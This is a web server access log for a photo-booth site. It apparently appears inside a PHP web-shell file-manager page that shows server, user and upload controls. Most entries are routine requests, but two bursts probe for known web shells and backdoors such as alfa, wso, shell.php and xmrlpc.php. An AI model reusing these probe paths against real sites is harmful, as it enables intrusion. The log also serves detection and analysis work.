HEX
Server: LiteSpeed
System: Linux server257.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: salhiscp (12590)
PHP: 8.4.12
Disabled: NONE
$ pwd: /home/salhiscp/access-logs/
Upload Files
File: /home/salhiscp/access-logs/salhab360photos.com.salhab360booth.com
185.61.153.107 - - [23/Sep/2025:08:18:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0"
146.190.11.185 - - [23/Sep/2025:08:25:03 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:08:40:02 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.130.232.247 - - [23/Sep/2025:08:25:02 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:08:25:02 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.235 - - [23/Sep/2025:08:25:03 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.130.232.247 - - [23/Sep/2025:08:40:01 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:08:40:01 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.235 - - [23/Sep/2025:08:40:01 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.130.232.247 - - [23/Sep/2025:08:54:52 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:08:54:52 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:08:54:53 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.235 - - [23/Sep/2025:08:54:52 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.235 - - [23/Sep/2025:09:10:56 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:09:10:56 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
43.156.228.27 - - [23/Sep/2025:09:07:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
206.189.247.132 - - [23/Sep/2025:09:10:56 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.171.136.78 - - [23/Sep/2025:09:10:56 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
13.90.22.110 - - [23/Sep/2025:09:24:33 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:09:25:35 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:09:25:35 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.235 - - [23/Sep/2025:09:25:55 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /hack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /ninja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
18.171.136.78 - - [23/Sep/2025:09:25:35 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
49.51.253.83 - - [23/Sep/2025:09:27:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /backdoor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
158.179.21.71 - - [23/Sep/2025:09:35:08 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
18.171.136.78 - - [23/Sep/2025:09:41:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:09:41:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:09:41:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:09:57:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.170.66.170 - - [23/Sep/2025:09:57:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.80 - - [23/Sep/2025:09:57:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:09:57:26 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
165.232.99.227 - - [23/Sep/2025:10:08:46 -0400] "GET / HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:10:11:56 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:10:11:56 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.170.66.170 - - [23/Sep/2025:10:11:56 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.80 - - [23/Sep/2025:10:12:03 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
91.188.75.80 - - [23/Sep/2025:10:14:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
91.188.75.80 - - [23/Sep/2025:10:15:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
18.170.66.170 - - [23/Sep/2025:10:27:03 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:10:27:03 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
119.45.20.16 - - [23/Sep/2025:10:29:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
146.190.11.185 - - [23/Sep/2025:10:27:03 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.80 - - [23/Sep/2025:10:27:04 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.80 - - [23/Sep/2025:10:27:24 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.80 - - [23/Sep/2025:10:42:59 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.170.29.93 - - [23/Sep/2025:10:42:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:10:42:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:10:42:59 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
18.170.29.93 - - [23/Sep/2025:10:59:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:10:59:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.172.80 - - [23/Sep/2025:10:59:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:10:59:25 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:11:10:42 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:10:46 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:10:55 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:10:59 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:05 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:13 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:16 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:20 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:24 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:42 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:46 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:46 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:56 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:00 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:07 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:15 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:26 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:31 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:31 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:39 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:46 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:52 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:00 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:06 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:10 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:12 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:15 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:20 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:26 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:29 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:29 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:30 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:33 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:35 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:37 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:40 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:40 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:41 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:44 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:10:41 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:10:51 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:09 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:16 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:29 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:35 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:46 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:52 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:11:52 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:18 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:21 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:21 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:31 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:12:46 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:06 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:10 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:29 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:31 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:34 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:38 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:39 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:43 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:52 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:44 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:45 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:48 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:55 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:13:59 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:04 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:04 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:07 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:13 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:13 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:15 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:18 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:18 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:24 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:28 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:34 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:37 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:40 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:44 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:48 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:14:51 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:04 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:08 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:12 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:18 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:24 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:25 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:25 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:25 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:15:31 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-"
